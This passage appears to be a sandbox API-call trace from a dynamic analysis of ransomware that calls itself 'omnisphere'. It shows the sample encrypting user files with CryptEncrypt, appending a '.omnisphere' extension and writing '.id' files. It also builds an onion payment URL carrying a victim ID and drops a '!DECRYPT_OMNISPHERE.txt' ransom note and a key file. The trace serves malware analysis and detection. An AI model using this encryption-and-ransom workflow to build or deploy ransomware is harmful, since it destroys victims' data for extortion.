pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.594] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.595] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.596] CryptDestroyKey (hKey=0x16397e8) returned 1 [0063.596] CryptReleaseContext (hProv=0x163c498, dwFlags=0x0) returned 1 [0063.596] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x4a07, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.596] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.597] GetProcessHeap () returned 0x1600000 [0063.597] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x28c) returned 0x1654aa8 [0063.597] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kebuc5mjwxrfqmp-vl.wav"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kebuc5mjwxrfqmp-vl.wav.omnisphere")) returned 1 [0063.603] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav.omnisphere.id" [0063.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kebuc5mjwxrfqmp-vl.wav.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.604] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.605] CloseHandle (hObject=0x3a8) returned 1 [0063.606] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0063.606] CloseHandle (hObject=0x3a4) returned 1 [0063.606] SetEndOfFile (hFile=0x3a0) returned 1 [0063.607] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.610] CloseHandle (hObject=0x3a0) returned 1 [0063.611] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.611] GetProcessHeap () returned 0x1600000 [0063.611] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16560c0 [0063.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.611] GetProcessHeap () returned 0x1600000 [0063.611] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641ca0 [0063.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641ca0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.611] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.612] GetProcessHeap () returned 0x1600000 [0063.612] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f8d0 [0063.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f8d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.612] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.612] GetProcessHeap () returned 0x1600000 [0063.612] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c0e0 [0063.613] PathCombineW (in: pszDest=0x163c0e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.613] GetProcessHeap () returned 0x1600000 [0063.613] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165cb60 [0063.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.613] WriteFile (in: hFile=0x3a0, lpBuffer=0x165cb60*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165cb60*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.613] CloseHandle (hObject=0x3a0) returned 1 [0063.613] GetProcessHeap () returned 0x1600000 [0063.613] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16560c0 | out: hHeap=0x1600000) returned 1 [0063.613] GetProcessHeap () returned 0x1600000 [0063.613] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f700 [0063.613] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.614] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.614] CloseHandle (hObject=0x3a0) returned 1 [0063.614] GetProcessHeap () returned 0x1600000 [0063.614] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0063.614] GetProcessHeap () returned 0x1600000 [0063.614] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163bc18 | out: hHeap=0x1600000) returned 1 [0063.615] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6d0e00, ftCreationTime.dwHighDateTime=0x1d4c708, ftLastAccessTime.dwLowDateTime=0x39d6c6b0, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0x39d6c6b0, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x1389c, dwReserved0=0x0, dwReserved1=0xed, cFileName="LC8mHy4MO_lq.flv", cAlternateFileName="LC8MHY~1.FLV")) returned 1 [0063.615] GetProcessHeap () returned 0x1600000 [0063.615] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1649e70 [0063.615] PathCombineW (in: pszDest=0x1649e70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="LC8mHy4MO_lq.flv" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv" [0063.615] StrStrW (lpFirst=".omnisphere", lpSrch=".flv") returned 0x0 [0063.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lc8mhy4mo_lq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.615] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=80028) returned 1 [0063.615] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x13378, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.615] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.616] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.617] GetTickCount () returned 0x1150377 [0063.618] GetTickCount () returned 0x1150377 [0063.618] GetTickCount () returned 0x1150377 [0063.618] GetTickCount () returned 0x1150377 [0063.618] GetTickCount () returned 0x1150377 [0063.618] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163b7d8) returned 1 [0063.619] CryptImportKey (in: hProv=0x163b7d8, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639ae8) returned 1 [0063.619] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.619] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0063.619] CryptReleaseContext (hProv=0x163b7d8, dwFlags=0x0) returned 1 [0063.619] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1389c, lpName=0x0) returned 0x3a4 [0063.619] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1389c) returned 0x3450000 [0063.620] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163b8e8) returned 1 [0063.621] CryptImportKey (in: hProv=0x163b8e8, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639568) returned 1 [0063.621] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 